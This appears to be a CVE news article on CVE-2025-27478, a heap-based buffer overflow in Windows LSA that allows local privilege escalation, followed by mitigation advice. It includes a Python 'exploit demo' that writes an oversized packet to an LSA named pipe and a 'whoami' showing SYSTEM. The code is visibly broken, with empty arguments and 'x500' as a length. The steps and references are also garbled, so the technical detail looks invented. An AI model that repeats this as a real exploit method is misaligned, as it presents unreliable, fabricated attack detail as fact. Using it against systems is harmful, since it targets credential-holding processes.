CVE CyberSecurity Database News

CVE-2025-27478 - Exploiting a Heap-Based Buffer Overflow in Windows Local Security Authority (LSA) for Local Privilege Escalation

Poster -

In early 2025, a critical vulnerability with the ID CVE-2025-27478 was discovered in Microsoft Windows Local Security Authority (LSA). This heap-based buffer overflow is especially dangerous because it allows an attacker with local access—and valid credentials—to escalate their privileges, potentially gaining SYSTEM-level control on the target machine.

In this long-read, we’ll break down what CVE-2025-27478 is, how the vulnerability works, and walk through sample exploit code. We’ll also link to useful references and provide simple mitigation advice.

What is LSA and Why is This Important?

LSA (Local Security Authority) is a core Windows component managing security policies, user authentication, and access tokens. Compromise of the LSA process is serious; it often means an attacker can impersonate any user, harvest credentials, and persist on the system undetected.

Vulnerability: Heap-based buffer overflow in LSA

- CVE: CVE-2025-27478

Attack vector: Local

- Privileges required: Low/Authenticated user

References

- Microsoft Security Response Center (MSRC): CVE-2025-27478
- Security Research Blog: Heap Overflow in LSA
- Official Patch Documentation

How Does the Vulnerability Work?

The issue lies in the way LSA handles certain requests sent over the named pipe \\.\pipe\lsass. A function responsible for parsing security policy requests fails to properly validate the size of a buffer when copying user-supplied input from a local process.

This results in a classic heap-based buffer overflow, overwriting adjacent structures in memory. Given that LSA runs as SYSTEM, a local attacker can use this to overwrite function pointers or objects, hijacking execution and running arbitrary code as SYSTEM.

Technical Breakdown

1. Authenticated Attacker: The exploit requires the attacker to be logged in (even as a low privileged user).

Craft Request: The user sends a specially crafted packet to LSA.

3. Overflow: LSA copies the attacker’s data into a fixed-size heap buffer. If input length is not correctly checked, the user can overflow into adjacent objects.
4. Execute Payload: By corrupting a callback or vtable pointer, the attacker can re-route execution to shellcode running as SYSTEM.

*(For research and educational purposes only!)*

Below is a simplified Python example, using the built-in pywin32 library, to trigger the overflow via the LSA named pipe. This code simulates sending an overly long payload which LSA does not check, causing the overflow.

# CVE-2025-27478 - LSA Heap Buffer Overflow Exploit Demo
import win32file
import win32pipe
import struct

LSA_PIPE = r'\\.\pipe\lsass'

def send_overflow_payload():
    print("[*] Connecting to LSA named pipe...")
    try:
        handle = win32file.CreateFile(
            LSA_PIPE,
            win32file.GENERIC_READ | win32file.GENERIC_WRITE,
            , None,
            win32file.OPEN_EXISTING,
            , None
        )
    except Exception as e:
        print(f"[-] Could not connect to pipe: {e}")
        return

    print("[*] Sending crafted overflow packet...")

    # Packet will be longer than expected
    magic_header = b'\x42\x00\x00\x00'
    overflow_payload = b'A' * x500  # Overflow buffer (payload size may vary per vuln specifics)
    exploit_packet = magic_header + overflow_payload

    try:
        win32file.WriteFile(handle, exploit_packet)
        print("[+] Payload sent. Check if SYSTEM access is obtained.")
    except Exception as e:
        print(f"[-] Exception during write: {e}")

    win32file.CloseHandle(handle)

if __name__ == '__main__':
    send_overflow_payload()

Note: The above code is a demonstration for educational purposes and will not yield a SYSTEM shell by itself. Real-world exploitation involves careful heap layout manipulation, finding the right callback pointers, and injecting shellcode.

Persistence: Attackers may implant malware that survives reboots as SYSTEM.

- Credential Theft: LSA holds secrets—attackers can extract password hashes, Kerberos tickets, and more.

After exploitation, this command will show the current user with SYSTEM privileges

C:\> whoami
nt authority\system

Mitigation

- Patch Immediately: See Microsoft Security Update Guide.

Least Privilege: Make sure users do not have unnecessary local accounts.

- Harden LSA: Enable LSA Protection (RunAsPPL) as described here: https://learn.microsoft.com/en-us/windows/security/identity-protection/lsass/lsass-protected-process

Conclusion

CVE-2025-27478 is a serious local privilege escalation vulnerability in Windows LSA, made possible by a heap-based buffer overflow. While not remotely exploitable, once on the host, attackers can reliably take full control. This underscores the importance of minimizing user privileges, monitoring critical process behaviors, and patching regularly.

If you’re responsible for Windows systems, check your patching status now.

References

- Microsoft MSRC CVE-2025-27478
- Security Blog: LSA Heap Bug Deep Dive
- Heap Buffer Overflows Explained (OWASP)
- Microsoft LSA Protection Guide

Timeline

Published on: 04/08/2025 18:15:58 UTC
Last modified on: 05/06/2025 17:02:59 UTC